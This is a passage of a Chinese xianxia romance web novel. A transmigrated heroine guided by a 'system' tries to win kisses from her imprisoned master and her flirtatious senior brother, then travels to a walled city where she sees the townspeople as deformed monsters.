戚流星咬了咬牙,抬手用腰间的碧箫敲了一下季白的头:“你就这么想死?” “知不知道这次为了捞你,我三天三夜都没合眼,平日里不是很聪明吗?怎么我和师父不在,就被别人欺负成这样了?” 碧箫敲在头上还有一点点疼,但季白看出眼前的人虽然嘴巴不饶人,但全是为了她好,就捂着头闷闷说了句:“谢谢。” 戚流星一愣,惊奇地看了她好几眼,而后围着她绕了三圈,边绕边啧啧称奇:“真是稀奇了啊,你竟然也会对我说谢谢,难不成今天太阳从西边升起来了?” 季白怕戚流星看出什么不对,连忙又问:“那你和长老们说了什么,让他们这么容易就放过我?” “不过是从死人身上查出了点新的线索。”戚流星晃了晃手里的碧箫,“但你可别得意啊,你现在还没真正脱罪呢,我可是在长老们面前打了保票,会严严实实地看着你,不让你惹祸,不让你跑了。” “长老们让你我一起去泰州查清此事?” “对了。”戚流星弯了弯眼睛,“我的小师妹就是聪明。” 泰州吗?她不知道去泰州要多远,她的时间只有一个月,又要获取男主们的先天一气,还要查清仙陨案的幕后真凶,若是在泰州耽误太多时间,任务肯定是来不及的。 不过她的案子和仙陨案肯定也是脱不了关系的。 季白问:“师兄觉得仙陨案的真凶会不会也在泰州?” 戚流星瞬时变了脸色,目光紧紧盯着季白,“什么仙陨案?” “我的案子难道不是和仙陨案有关系吗?” 季白的记忆力很好,她没有忘记系统对她说过,太清宗的人怀疑她和仙陨案有关。 “别胡说!”戚流星盯着季白的眼神冷凝,“你的罪名是残害同门,与仙陨案无关,也与魔族无关!” 季白对上戚流星的眼神,总觉得他可能知道点什么。 她垂下眼帘没有说话,戚流星叹了一声:“小白,师尊失踪多年,妖魔横行,天下动荡,就连宗门内亦是暗流涌动,你的脾气也该收一收,不该管的事不要管。” 季白看似乖顺地应了一声,但心里却不这么想。 戚流星转头看向季白身后的孟辞,眼神闪了闪,道:“孟辞,因你擅闯囚仙塔,伤囚仙塔弟子数百,因而长老罚你前往囚仙塔自领一百鞭刑。” “师兄,孟辞闯塔全是为了救我,并不是有意为之,你能不能给长老们求求情?” 戚流星回眸看她,“这样的处罚已经是我求过情的结果了。” 孟辞:“师父,一百鞭而已,徒儿受得起。” 孟辞说完对季白深深行了一礼,就跟着小童下去领罚了。 季白看着孟辞离开的背影,心想,他的先天一气还没有到手呢,也不知等她从泰州回来,还来不来得及。 戚流星阴阳怪气的声音在耳畔响起:“呦,这么舍不得你徒弟,你未免也太宝贝他了吧?” 季白对他阴阳怪气的语气丝毫不在意,而是转头问:“我平日对他很好吗?” 戚流星噎了一下,随后狠狠瞪了她一眼,骂道:“还有闲心操心别人,自己身上的麻烦还一大堆呢。” 季白故意道:“我是他师父嘛,我不操心他操心谁?” 戚流星咬了咬牙,用碧箫直点季白的额头,“我真是该你的。” “还不快跟我去泰州,你还真想一辈子背着骂名不成?” 季白捂着头说:“我会跟你去泰州,但我想先回我的住处一趟。” “那我在山门等你。”戚流星说,“动作快点,别磨磨蹭蹭的。” 要不是季白从前不喜欢戚流星去她的洞府,他一定是要跟着她一起去的,现在的太清宗对季白来说十分的不安全。 季白告别戚流星后在系统的指引下成功回到了她的住处,是一个坐落在山峰的小院,从外看只是普通的四间房,正中的主屋是原主所住的卧室,偏殿还有一间卧房看起来像是孟辞曾经住过的地方,又有一间书房和一间雪洞般的空屋子,不知道是做什么的。 季白看了一圈也没找到什么有用的线索,书架上全都是功法,季白随便挑了几本顺眼的扔进了戒指空间里,想着路上的时候练一练,她总不能一直当战斗力为零的废物。 系统说原主的修为是很强的,只不过她没有原来的记忆所以不知道怎么用,季白把该带的东西都带上了以后,正准备离开,可突然听见竹林后有溪水声。 她顺着石子路往下走,空气有些许的凝滞,有点像她刚刚进入小院时的感觉。 应当是某种禁制,可自己住的地方已经在外设了一层禁制,为何还要再设一层禁制? 难道里面藏着什么宝贝? 季白想到这儿,顿时兴奋起来,她现在就像进了米仓的老鼠,总想着多带点好东西出去,最好是那种能保命的防御法器。 很快,她的面前出现了一个瀑布,季白足尖一点,穿过瀑布,就看见一扇石门,石门旁还立着一块石头,她想了想把手放在石头上,顿时,石门开了。 石门内是一个狭小的通道,但并不算黑,她大约走了七八分钟,又过了两三道石门前面方有温暖的光亮传来,季白加快了脚步,只见眼前豁然开朗,是一个大约五十平米的小房间。 突然,她不敢置信地停住了脚步,惊讶万分地看着被人锁在床上的银发男人。 脑海中赫然响起系统的声音。 【检测到目标人物——太清仙尊卫云台。】 季白的脑子瞬时炸了,谁?你说谁? 修仙界失踪了一甲子的太清仙尊被她锁在山洞里了?! 35 第35章 季白想到金乌台上的四位长老,顿时生出了想要逃走的心。 她现在可没有原主的记忆,一个术法也不会,万一这人发起*狂来,她可不是对手,还是先走为上。 季白转身就走,可身后却突然响起男子空灵如仙乐般的声音:“这么久不见你来,如今一来就要走,怎么,这场荒唐的把戏,你终于腻了吗?” 季白的心尖颤了颤,她总感觉男子说得不是把戏,而是他。 如今她已经被发现了,再跑也来不及了,反而会激怒他。 季白转过头重新把目光落在银发男子的身上。 恰逢他也抬起头看她,一张美到令人失语的脸上嵌着一双蓝白色的眼眸,看过来的眼神似是茫茫大海的空,又似霜雪寒枝的冷。 齐腰的银发顺着瘦削的脸庞滑至胸前,有几缕不听话的银发落在他诱人的锁骨上,又顺着敞开的衣领滑至更诱人的地方,在橙黄灯光的映衬下,他如瀑的银发泛起一层浅淡的蓝,给他添了几抹诡异的圣洁与超然,使他哪怕穿着半敞的衬袍,都让人不忍冒犯了他。 卫云台那双蓝白色的眼眸紧紧盯着她,粉唇轻启,“出去了一趟变哑巴了?” 他哪里都生得圣洁超然,有一种不敢让人亵渎的矜贵,可偏偏这唇却生得诱人极了,粉嫩饱满,好似天生就该让人亲一样。 季白压下心中莫名其妙的渴求,闷闷地说了一句,“没有。” 卫云台轻轻皱了皱眉,蓝白色的眼眸忽而睁圆了,“你受伤了?” 他话音刚落,就想要冲上来看看季白身上的伤,可下一秒又被手腕上的银链拽了回去,但他的脸上没有丝毫因为被锁的懊恼与戾气,反而是一脸担心,“伤到哪儿了?过来让为师看看。” 季白已经沉浸在他这双漂亮的眼睛里,他的眼中没有分毫的怨恨,只有对她的满满担心,怎么会有这样的人,被人囚在一方山洞里也不会怨,不会恨,眼睛依旧是这样的纯净。 她刚刚进来时,卫云台还是寒山积雪的一个人,似是随时要对她责难,可在得知她受伤后,霎那间,冰雪顿消,就像是……就像是…… 季白的脑子里无端冒出两个字——“妈妈。” 就像是犯了错误回家的小孩会面对母亲的冷脸与责罚,可在看清你身上的伤后,又会把所有的一切都扔掉,只担心你的伤。 “怎么不动,伤得很重吗?” “到底是谁把你伤成这样?” 银链被他的手腕拽得哗哗直响,在静谧的空间里显得越发刺耳。 季白不想哭的,可眼睛却莫名留下一滴泪,她抬手擦去那滴泪,走到卫云台身前,轻声说:“不重。” 她想,她的感觉也没有错,他是她的师父,自然也是疼爱她的长辈了。 卫云台抬手抓住她的手腕,突然其来的肢体接触让季白有一瞬间的愣神,下一秒,就见他修长白皙的手指搭在了她的脉搏上。 他凝神细听了一会,而后抬起头来一脸凝肃与担忧,“还说没事,你神魂不稳已致记忆紊乱,筋脉堵塞,灵气溃散,在你眼里还要多重的伤算有事?” 卫云台话落,又松开了搭在季白手腕上的手,眼神担忧,语气温柔,“你刚刚还哭了,到底是受了什么委屈?” 季白的眼眶又开始发酸,心头翻涌着一股陌生的强烈情绪,她别过头去,强行把这股震撼的,暴烈的情绪压了下去。 脑子里想着另一件事,卫云台一摸她的脉就说她神魂不稳,记忆紊乱,系统让她吃那颗可以修补灵魂的果子,就连在现代的陶医生也说她的记忆出了问题。 难道她真的有病吗? 可怎么可能呢,她明明很正常,除了有时候会控制不了自己的情绪外,她没有任何的问题。 季白因一直强迫自己想着这件事,刚刚那种莫名涌上的情绪也逐渐的淡去了。 她方低声说:“没什么,就是去了趟囚仙塔。” “囚仙塔?”卫云台不敢置信地望着季白,“他们罚你了?” 卫云台说到这儿,垂下眼帘看了眼手腕上的银链,轻声说:“若是我在,他们定不会如此对你。” “你在这儿打坐疗伤吧。”卫云台抬手抚了抚季白的头发,“为师在这儿守着你。” 季白对上他干净又纯善的眼眸,心里没由来的涌上一股恶念。 他怎么可能会这样毫无怨恨呢,都是伪装的吧,想要趁机博取她的同情,而后趁机逃出去,就像是曾经的闻人瑾做过的事一样。 她不信他会真的这么善良大度,不信在系统给她挑选的世界里还有没有被污浊的男主。 她想,她或许是真的有病。 越是美好的事物,她越是想要摧毁,越是光明的东西,她越是想要拔开他的心肠,看一看他的阴暗,他的丑陋。 这种行为很可笑,却又让人上瘾。 季白故意说:“可是他们说,我这次犯下的罪孽人神共愤,纵是师父在,也绝不会容我。” 季白以为他至少会问一下她犯什么罪了,结果却只是温柔又坚定地看着她,“你不会。” 季白不解地望向他,卫云台又揉了揉她的发顶,笑得温柔又慈爱,“你不会,你是乖孩子,不会做出那样的事。” 季白面上轻笑一声,心里却涌上一股火,像是青春期的孩子第一次对他们的父母展露自己的獠牙。 她倾身上前,恶劣地拽了拽扣在卫云台手腕上的银链,居高临下地俯视着这位修仙界第一的太清仙尊,“乖孩子?乖孩子会把你锁在这儿吗,我的好师尊。” 卫云台不闪不避,依旧用那双干净的,温柔的,慈爱的眼神看着她,好似是会原谅孩子所有过错的圣母,“这不是你的错,是为师让你有了执,是为师没有教好你。” 季白温热的手掌扣住他的下颌,扬眸道,“说得真是大义凛然呢。” 她低头凑近他饱满的粉唇,带着蛊惑的语气说:“既然师父说都是师父的错,那师父也应该对此负责吧?” 季白说着抬腿坐在了卫云台的怀里,温热柔软的身体贴在他的腿面,又如羽毛般蹭到他的胸膛,带来阵阵酥麻的痒意,口中呼出的带着暗香的热气足以让全天下的男人心猿意马,季白用额头抵在他额头,目光落在他诱人的唇上,从她这个姿势看下去还能隐隐看见他胸前漂亮的薄肌,洁白的肌肤如玉一般让人忍不住想要试试它的手感。 “师父不如可怜可怜徒儿,今日就解了徒儿的执?” 卫云台看着她半晌没有说话,哪怕是这样暧昧的姿势,他的呼吸也没有乱一寸,仿佛她的拥抱,她的吻,和山林间的花花草草没有任何区别。 季白见卫云台不语,嗤笑一声,“看吧,师父也不愿,既然如此就别说好听的大话。” 季白说到这儿,就要起身离开,她还记得戚流星还在山门等着她呢,可没工夫再和他磨下去了。 不料,卫云台却突然发力按住季白的腰身,迫使她又坐回了他的身上,下一秒,唇上就贴上来了一个柔软的东西。 季白惊讶地看着近在咫尺的脸,有点不敢相信他就这么吻上来了。 “如果这样能渡你,为师愿意。” 他轻柔的声音在季白耳边响起,这一瞬间,她仿佛在这狭小的石洞里听见梵音袅袅。 可以看得出来,卫云台从来没有亲过人,他只是单纯的把自己的嘴巴贴在她的唇上,眼睛也睁开静静看着她。 季白也没有闭眼,两个人就这样大眼瞪小眼地把嘴贴在一起。 季白等了很久也没有感觉额头上的花钿有任何的变化。 她暗想,难道要湿吻才可以? 季白正想试试呢,卫云台就已经从她的唇上退开了。 “这样可以了吗?”他问。 季白没有说话,也没有从他身上起来,两个人就以一种极为暧昧的姿势静静坐着。 卫云台垂着眼不知在想什么,季白则在脑海中询问系统。 【不是说男主吻我就能获得先天一气吗?】 【怎么卫云台吻了我,我额上的花钿一点反应都没有?】 关于任务的事,系统回答得很及时。 【不是随便吻一下就可以得到,先天一气是修行者最本源,最重要的东西。】 【男主们在吻你时,必须是百分百的爱意且不能掺杂任何负面情绪与执念。】 百分百的爱意在副本并不难,因为他们每个人在季白出现的一刹那就已经是百分百的爱意了,难得是没有被怨念污染的纯粹。 这对于已经崩坏的世界来说,实在是一件十分困难的事。 季白:…… 这系统感觉就和黑心老板一样,任务说不清楚,还总爱画饼,关键时刻就失踪。 【你当时怎么不说清?!】 系统不回了。 季白气得恨不能钻进脑海里找出系统的意识把它暴揍一顿。 卫云台察觉出季白情绪不对,仰起头看她,见她竟然坐在自己的身上发呆,眼眸闪了闪,随后轻声问:“怎么还是不高兴,难道为师亲的不对?” 【作者有话说】 卑微作者又开始为下一本预收文求求收藏了。 是现代文——《驯服高傲的他》阴湿女主逼疯高岭之花的故事。 求求各位读者宝宝点点收藏,不想再经历一次艰难的三无开局了[爆哭] 36 第36章 季白回过神来低头看他,明明嘴上说着如此狎昵的话,可脸上的神色又是十分的正经,仿佛他只是做了一件极其普通的事后,询问你的感受。 “师父当真是恕道仁心,是不是无论我做什么事,师父都会原谅我?” “当然,我是你的师父,你之错,皆我之过。” 季白轻笑着抚摸他温热的脸颊,这双蓝白色的眼睛似是高山上积年不化的雪,又似是七月的蓝天湛湛。 “师父对徒儿真好。”季白低头逼视他的眼睛,“如果今天锁着师父的是大师兄,师父也会这般包容他吗?” “会像按着我一样,按着他的腰,为解徒弟的苦而亲吻他吗?” 卫云台面上没什么反应,但季白紧贴着他的身体还是第一时间察觉到了他身上的肌肉有一瞬间的紧绷。 “他不会。” “是大师兄不会,还是师父不会?”季白低下头吻了吻他高挺的鼻梁,红唇又贴着他柔软的肌肤来到耳畔,“师父这般纵容我,当真只是因为是我的师父吗?” 季白的手贴在了他的心脏上,震若擂鼓的心跳声隔着布料传递到她的手上,似乎是在对她诉说着无言的爱意。 季白微微用力按了按,轻声问:“师父的心里就真的坦坦荡荡,没有一点私情吗?” 卫云台抬手摸她的头发,似是长辈抚摸孩子那样的温柔,他气息不变,低声唤她的名字,“小白。” 季白以为他会说他是她的师父,所以不会也不能对她有男女之情这样的话,亦或是他们这样是不正确的,有悖人伦的。 可他都没有说,只是用平静的语气阐述他的心情。 “小白,你我都是修仙之人,自你入门的第一天起我就说过,既入仙途就该以芸芸众生为己念,以爱己之心爱世人,我从来如此,你也该如此。” “只是你走错了道,把一颗心错误的放在我身上。” “不过没关系,我是你师父,你走错了道,为师自然会帮你纠正,你囚我一百年也好,二百年也罢,只要能帮你勘破执念,为师都愿意,等你大道得成之日,你就会明白,你所求的皆是虚妄。” 季白看着他的眼睛,他说的无私无欲,无怨无悔,好似能为了她付出所有,且不求任何回报,只愿她好。 可她一个字都不信,如果他的心真的如同他的眼睛一样纯澈,如果他的想法真的如他嘴上说得那样,她额上花钿不会毫无反应。 百分百的爱意他一定有,那么差的就是毫无杂念,没有一丝阴暗的纯粹。 看似圣洁纯善的他,心里藏着的阴暗与偏执到底是什么呢? “师父口口声声说苍生说世人,可师父知不知道你消失的日子里,外面妖魔横行,天下动荡,若苍生真的比我重要,师父为何会为了我而甘愿被锁在不见天日的山洞,而不是想方设法地冲出去除魔卫道呢?” 季白今日似乎是一定要卫云台亲口承认他心思不纯一样。 卫云台抿了抿唇没有说话,只是用一种很是奇怪的眼神看着她,似是对孩子无奈的妥协,又似是看透命运的悲悯。 季白料想一时半会也无法从卫云台这儿取得先天一气,也就不在与他浪费时间翻身从他身上跳了下来。 她理了理刚刚坐皱的衣摆,冲卫云台粲然一笑,“对了,师父确实亲的不对。” 她脸上的笑容越发灿烂,似是要故意刺激他一样,“我还从来没遇见过像师父这样亲人的人呢。” “希望我下次来师父的吻能让我满意。” 卫云台蜷了蜷手指,很想问问她,难道还有别的男人亲过她吗? 可他忍住了。 “师父,我先走了,大师兄还在外面等我呢。” 季白说完就不带一丝留恋地往外走,也不知是不是她的话真的对卫云台起作用了,他自始至终都没有再说一句话,只是安静地看着她离开。 季白离开前,注意到洞口的角落凝聚的点点灵气,她伸手去探可以感受到强大的灵气波动,她不知道这是什么,但应该是和结界不一样的东西,这种特殊的图案,像是某种符咒。 系统的声音适时在她脑中响起。 【这是高级传送阵。】 【无论你在何地只要以你之灵血汇出此阵,转瞬间就可抵达这里。】 原主对太清仙尊还真是痴爱成魔了,不仅把卫云台偷偷囚在此地几十年,还专门弄了这么一个复杂的阵法,只为能时时相见。 【那我现在站在这儿,是不是也能去任何我想去的地方?】 【是。】 季白想到还在等她的戚流星,果断地站在阵法之中闭上眼默念自己想要去的地方,只觉一阵微风拂面,她还未睁眼,就先听见了戚流星的叫喊。 “你从哪冒出来的,说回去收拾东西,怎么去了那么久,我差点以为你又失踪了。” 季白缓缓睁开眼还没缓过神来,眼前就出现了一张张扬俊朗的脸,他皱着眉看她,“怎么不说话,用个传送阵还用傻了不成?” 季白揉了揉耳朵,心想戚流星的话还真多啊,难怪原主之前和他的关系不那么好。 “收拾了些东西就慢了点。”季白说,“我们现在出发吧。” 戚流星怀疑地看了看她,他刚刚靠近她时,好似是闻到了熟悉的气味,但被风一吹又散了。 他召出飞行法宝,载着季白一起朝泰州出发。 临出发前,季白坐在飞行法器上回首看了眼太清宗,此时正值夕阳西下,仙雾缭绕的太清宗被血红色的夕阳所笼罩,看上去恍若间成了一座笼罩在血雾里的鬼山,给人一种恐怖不安的感觉。 金乌台上的金乌默然地伫立在太清宗的最高点,像是与血雾搏斗的守护神,又似是冲入人间的凶鸟。 季白的心也跟着跳了跳,总感觉有几分不好的预感,她回过头看向戚流星,询问:“师兄,你说师父他到底去了哪里,为什么这么久都不出现?” 戚流星回头看她,问:“你突然问师父做什么?” “我在想如果师父在,或许我不会被人陷害,魔界的人也不会那样猖狂。” 季白心想,想要成功取得先天一气,至少得先了解一下卫云台是一个什么样的人,也更好推测他隐藏的执念到底是什么。 整个修仙界,除了原主,大概也只有大师兄最了解卫云台了。 不料戚流星先是冷笑了一声,“他在又能如何?他从来不在意任何人。” 季白有些愣神,甚至怀疑他说的卫云台是不是她在山洞里见到的卫云台。 难道师父对大师兄很不好? 可看卫云台的样子不像是会苛责他人的人啊。 季白试探性地说:“师兄为何对师父有这么深的成见,师父心怀苍生,博爱世人,有何不好吗?” 戚流星又笑,挑着眼尾问她:“师妹,你真的认为一个博爱苍生的人对他身边的人来说会是好人吗?” 季白一时愣在了原地,不知该如何回答他的问题。 利益与爱都是有限的,他分给了更多的人,他身边亲近的人自然会分得少,或许对别人来说是好事,可他身边亲近的人又怎会全无怨怼呢。 季白心中有那么一点点同情卫云台,照此看来卫云台的教育相当失败啊,一个徒弟欺师灭祖,对他生了妄念,将其囚禁,还有一个徒弟,对他的那一套更是嗤之以鼻。 修仙世界的师父果然难当。 季白这边正想着,戚流星突然靠近她,盯着她的眼睛问:“你不会还在惦念着他吧?” 季白心头一跳,问:“什么意思?” 戚流星难不成知道原主喜欢卫云台的事?如果他知道,那似乎就可以解释戚流星为何不喜欢卫云台了。 谁会喜欢情敌呢,还是自己心上人念念不忘的情敌。 “他都已经失踪那么久了,你还想着他,他到底有什么好?他一走就是一甲子,分明从未将你我放在心上,你又何必对他那样无情的人念念不忘?” 季白心虚不已,他被她囚在山洞里,当然出不来了…… “师妹,忘了他吧,无论你如何爱他,他看你和看世间其余生灵都没有区别,他早就不是人了,哪还有人类的情感。” 戚流星说着,目光落在了她的唇上,“自你上了太清山,明明是师兄照养你长大,教你术法,伴你修行,明明小时候和师兄关系最要好,还囔囔着要嫁给师兄,为什么长大后就变了呢?” “因为小,就可以说话不算数了吗?” 季白望着戚流星眼中毫不遮掩的欲色,心中有一瞬间的失神。 如果这个时候让戚流星亲了她,能不能得到先天一气呢? 然而还没等她想明白,戚流星就已经又退了回去,他神色如常地驾驶着飞行法器,嘴里还在感慨,“哎,还是小时候的师妹可爱,长大后就整天想着和师兄作对了。” 季白从戚流星刚刚的话中,得到了几样关键的信息。 卫云台应当和他所说的那样,在被原主囚禁之前,一心只有天下苍生,忙到没有时间教养徒弟,所以原主基本上是由师兄手把手教出来的。 不过,这样一个人到底是怎么被原主囚禁起来的? 季白想不明白,索性也不再去想,而是把精力放在了身边的戚流星身上。 【系统,我到底要怎样才能获得纯粹的,没有负面情绪与偏执的吻?】 【他们缺乏安全感,渴望你的靠近,抚摸,想要成为你心中的唯一。】 37 第37章 季白闻言大概明白自己该怎么做了。 她回眸看向戚流星,微风吹起他鬓角的青丝,露出他棱角分明的下颌线,青色的袍角随风飘扬,腰间挂着一支青笛,好似是书中飘逸风流的游吟诗人,又似是惩恶扶弱的侠客,文弱与侠气结合得恰到好处。 戚流星察觉到季白的视线,又转过眸看她,笑得格外灿烂,打趣道:“怎么又一直盯着我看,难道是终于发现师兄的俊逸风流了?” “我可不是和你吹啊,就我这张脸可是稳稳入选修仙界前三的美男子,平日里多少人上赶着看我都还看不到呢。” 戚流星话落又朝季白这边移了移,笑得有点欠揍,“看在咱俩的关系上,今天便宜你,让你一次看个够。” 季白轻笑一声,回怼了一句,“拿你当猴看,你还很高兴。” 戚流星作势要打,“喂,怎么说话呢,什么叫当猴看,明明是欣赏师兄我的绝世容颜好不好,再说了,猴哪有我好看。” 季白实在想笑,哪有人和猴子比帅气的。 季白忍住了,她倾身凑近戚流星,装作认真端详打量的样子。 戚流星察觉到身边蓦然靠近的气息,一转头就对上一双乌黑水润的眸子,眼底似是藏着星星点点的笑意,他只觉自己的所有仿佛都被这双眼睛看穿了,心跳声无限放大压过了耳畔拂过的风声。 他指尖一紧,再次出口的声音又哑又暗,“突然凑这么近做什么?” “当然是好好欣赏师兄的绝世容颜。” 戚流星刚刚虽然在季白面前那般夸耀自己,可真当季白这么说了,他又不好意思起来,脸颊被夕阳映衬得比他们身后的太阳还要红。 季白笑了一声,温热的气息落在他的脸上,是一种不同于清风的轻柔缠绵,热气似是化作无数细小的水雾透过皮肤晕到他的血肉里。 戚流星还没来得及细品这种酥麻的让人上瘾的感受,就见季白又退了回去,笑嘻嘻地说:“师兄确实比猴子好看。” 戚流星恼了抬手就掐季白的脸,“嗯?还真把师兄跟猴子比了?” 季白抬手抓住戚流星作乱的手,但并没有用力,更像是轻轻地握住了。 明明戚流星只要微微一动就能从季白手中挣脱,但他没有动,任由季白握着,彼此肌肤相触的地方越来越热,很快季白就感觉自己的掌心湿漉漉的。 两人四目相对,只见季白温柔地笑着说:“嗯,我师兄是全天下最帅气最好的师兄。” 戚流星的脑子轰得一声炸了。 师妹夸他了? 师妹竟然夸他了? 她这是什么意思?是新的陷阱还是把戏,还是说……她…… 戚流星猜不下去了,只觉全身的血液都涌到了脸上。 他别过头去,气息有些不稳。 “今天嘴这么甜?” 季白抓着戚流星的手始终没松,而是抓着它缓缓放下又换了一个十指相握的姿势紧紧抓着。 戚流星吓了一跳,如果不是在飞行法器上,他几乎是要蹦出二里多地了。 “你……你做什么?!” “师兄。”季白又朝他的方向靠了靠,轻声说:“其实我早就已经放下师父了。” 戚流星安静了下来,可眼睛压根不敢看她。 他害怕看见她提起师父时,眼中那一抹让人心碎的悲伤和执念。 “我真的很高兴,这么多年都有师兄陪在我身边,让我不那么寂寞。” 戚流星的心又是一跳,他转过头去就对上季白灼灼的目光,似是在看什么稀世珍宝一样。 “师兄,你会一直都陪在我身边吧?” 这话是什么意思,是他想的那个意思吗? 戚流星不敢问,害怕毁了他们之间难得的平静与温馨。 自从他因季白喜欢卫云台而和她大吵一架后,季白就单方面的与他决裂,再不理他,宗门的人只知道太清仙尊的两位徒弟不合,见面不过几句就要吵,吵几句就会打得天崩地裂,他们说两人针尖对麦芒,谁也看不惯谁。 可他们不知道的是,争吵是他唯一能再和她说说话的方式,打架也是他能靠她最近的时候,比凌厉的杀招最先抵达的,总是她身上若有若无的香气。 戚流星轻声说:“我是你师兄,我还能跑到哪去?” 纵然打得天昏地暗,宗门大会时她身边站着的人永远是他。 飞行法器在将至黎明时,总算抵达了泰州。 整座城镇被朦胧的晨雾所笼罩,高高筑起的城楼上立着几位警惕的修士,他们见到戚流星的法器,立即打开了进入泰州的通道。 季白这方注意到整座城镇都被淡蓝色的结界所笼罩,不得出也不得进。 待法器缓缓降落,季白看见了城楼下有仍未打扫干净的血色碎肉和浸着血的黑色砖墙,一股刺鼻的恶臭与血腥味涌了上来,刺激得季白险些要吐出来。 这就是仙山下的人间吗? 季白有些恍惚,总感觉像是走到了炼狱。 结界已张开了一角,戚流星控制着飞行法器正要进城,只听身后传来一声怒吼,季白回头一看,一只背身六翼的怪物张着血盆大口朝他们扑了过来。 戚流星轻笑一声,“还真是难为它一路跟过来了。” 戚流星话落,足尖一点,从虚空中抽出一柄青剑就奔它杀了过去,他身姿优雅,招式却狠辣,一剑捅进了怪物的心脏,然后用力向下一劈,此怪就分成了两半。 这时,又见林间冲出了一条遮天蔽日的巨蟒,它速度极快,对准了结界的缺口冲了过来,想要进城饱餐一顿。 这时,季白突然感觉悬在自己腰间的佩剑不断嗡鸣,似是迫不及待地想要大杀一场,她完全遵循着本能抽出腰间佩剑,剑锋直指巨蟒,用力一挥,锐利的剑气裹挟着劈山填海的灵气砍了出去。 巨蟒的身体立时就被剑气所搅碎,粉白的肉块如同雨一般稀稀拉拉地落下,可那道她挥出去的剑气还未停止,如飓风般碾过丛林直抵不远处的山峰。 在众人惊诧的注视下,丛林与山峰立时都被劈为了两半,只听林中传来阵阵妖魔的悲鸣,黑压压的身影从林中蹿出如同乌云般逃去了更远的地方。 戚流星收回剑,挑眉看她:“师妹这一招使得可以啊,你要不小心劈错方向,整座城都得被你砍了。” 季白亦是无比惊讶,系统说这具身体很强,但她却一直没有具体的概念,如今总算是有了具体认识,随手一挥就有这么大的威力,难怪原主能将卫云台囚禁。 难怪长老们见她想要逃跑就想杀她,这么厉害的人若真是反到魔族还真是后患无穷啊。 季白把剑收了回去,轻咳了一声,道:“力气不小心使大了,谁能想到那怪物那么不经砍。” 季白面上淡然,心里激动得恨不得冲进林子再劈上十剑八剑的,这一次总算能翻身做主人了,不用像上一个副本被怪物撵得到处跑了。 怪物们被解决后,季白与戚流星也进了城,她依稀听见城楼上的修士兴奋不已的讨论着她。 “那就是季白仙人吗?真强啊,不愧是太清仙尊的弟子。” “看看那一剑的威力,有季白仙人在,咱们泰州再也不怕妖魔入侵了。” “季白仙人实力强大,二代中当之无愧的魁首,怎会在咱们泰州久留?恐怕季白仙人同戚仙人办完事后又会离开。” “那也没事,仅凭季白仙人那一剑,我看短期内不会再有妖魔敢在咱们这儿撒野了。” 季白听得不免有些飘飘然,但也没忘问出心中疑问。 “师兄,凡间所有的城镇都是如此吗?” 都需要结界修士的保护,普通凡人如同猪鸭一般被圈养在这一方天地。 戚流星点点头,“如今天下动荡,妖魔横行,我辈修士为护普通百姓平安,只得将凡人们聚在城内保护着,若是放任毫无修为的凡人留在外面,不消半刻就会被妖魔啃为白骨,就连灵魂也不得解脱。” 季白心下骇然,“那他们岂不是一辈子都只能待在城中了?这样的城镇又有多少?” “若无仙缘,普通人一辈子都不会出城看见外面的世界。”戚流星垂下眼眸,眸中是一闪而过的悲伤,“从前像泰州这样的城镇,大大小小有百座,可如今……随着妖魔的越发强悍,修士的不断陨落,这样的城镇已经不足五十个了。” 活生生少了一半。 季白的心有一瞬间的震撼,哪怕知道这是游戏世界的副本,但还是会为这个数据而心惊,一半的人类都被妖魔吃掉了,再这样下去,恐怕死得会更多。 她突然想到了这次副本的名字,渡苍生。 她的任务会和这个名字有关吗? 季白暗自苦笑,若真的有关,系统就太看得起她了,她自认从来不是什么善良的好人,这种舍生取义,救济苍生的事,她做不了。 戚流星和她说了几句后,就与迎上来的修士们低语了几句,似是在问他离开后城中的情况。 戚流星很快与那人聊完后,冲她挥了挥手,“师妹,走,该进城了。” 季白连忙跟了过去,随着又是一道黑门的开启,季白看见了泰州城内的情况,她顿时立在原地,只觉头皮发麻。 38 第38章 “师兄……” “好多妖。” 眼前是一条铺设了青石板的大街,街道两旁的铺子有些还没有开,街上只有零零星星几个人…… 不,不是人。 季白有限的生命里从未见过这样的怪物,他们每一个都拥有着属于人的器官,可长得却像是由小孩随意拼凑组装的无厘头。 眼睛不在眼睛的位置,脚不在脚的位置,这个人多一条腿,那个人少一条手。 比如迎面向她走来的怪物,那张圆嘟嘟的脸颊上如同排扣般长着两排眼睛,嘴巴在下巴,躯干上长着三只手,六条腿。 他们哪里是人,分明是用人的器官随意杂糅在一起的怪物。 季白后退一步,把手放在了剑柄上,准备随时杀了这些怪物。 可戚流星却一脸莫名地转了过来,“妖?哪儿有妖?” 听了这话,季白手里的剑都险些握不稳,她一脸惊诧地问:“你……你难道看不见吗?满街上哪有一个人?” 戚流星闻言又看了看街道,甚至还专门掐诀查探附近是否有妖气,然而他找了半天也没有找到半点妖气。 季白看着戚流星对满街怪物熟视无睹的反应,心下骇然,难道只有她一个人能看见怪物的本相吗? 季白咽了咽口水,指着她面前的“人”问:“师兄难道看不见她的怪异吗?三个鼻子一张嘴,手脚颠倒,足多似天龙,如此异常,难道不是妖吗?” 戚流星顺着季白指的方向看了过去,紧皱的眉头松开,粲然一笑:“师妹,你太久不下山连凡人的样貌都记不住了吗?” “他们是人?” 他们的长相在季白看来就是异变的怪物,除了拥有人的器官外,从头到脚没有一个地方能和她认知中的正常人沾得上边。 人怎么可能会长这样? 季白恍恍惚惚地跟着戚流星往城内走,街道上的行人也越来越多了,她仔细观察了一下*,发现他们中也有畸变不太严重的,但完完全全像正常人类的人,她走了一路也只遇见了两三个。 “对啊。”戚流星神色如常地应了一声,仿佛并不觉得他看见的人有什么问题。 “可是人……”季白捏了下指尖,竭力平静自己震撼的情绪,“不应该和我们一样吗?他们……他们怎么会长得千奇百怪?” 戚流星轻笑一声,“我就说你是在仙山待得太久,忘了人长什么样子了。” “正常的人类都长这样,长得像我们这样的人是万里挑一的,一生下来就会被送上仙山修行,只有极少数会留在人间的城镇。” 季白极目望去,确如戚流星所说只有极少数的正常人,可是……正常的人类本就该是他们这样,但在这个世界,不正常却成了正常。 “不是。”季白轻声说,“人不是这样千奇百怪,他们应该和我们一样。” 戚流星愣了下,随后又看了看周围的人,他自出生起,人类就是他印象中的这样,他们丑陋,古怪,但又会诞下极少数身负灵根的人,只有这样的人方有踏入仙途的资格。 至于其他平凡的人……他们唯一的价值,大概只有生出一个身负灵根的生命吧。 “我少时看过藏书阁的古籍,书上说在上古时期,人与仙一般无二,五官端正,四肢齐全且头脑聪敏。” 季白的眼睛亮了亮,“对啊,这样才是正常的人。” 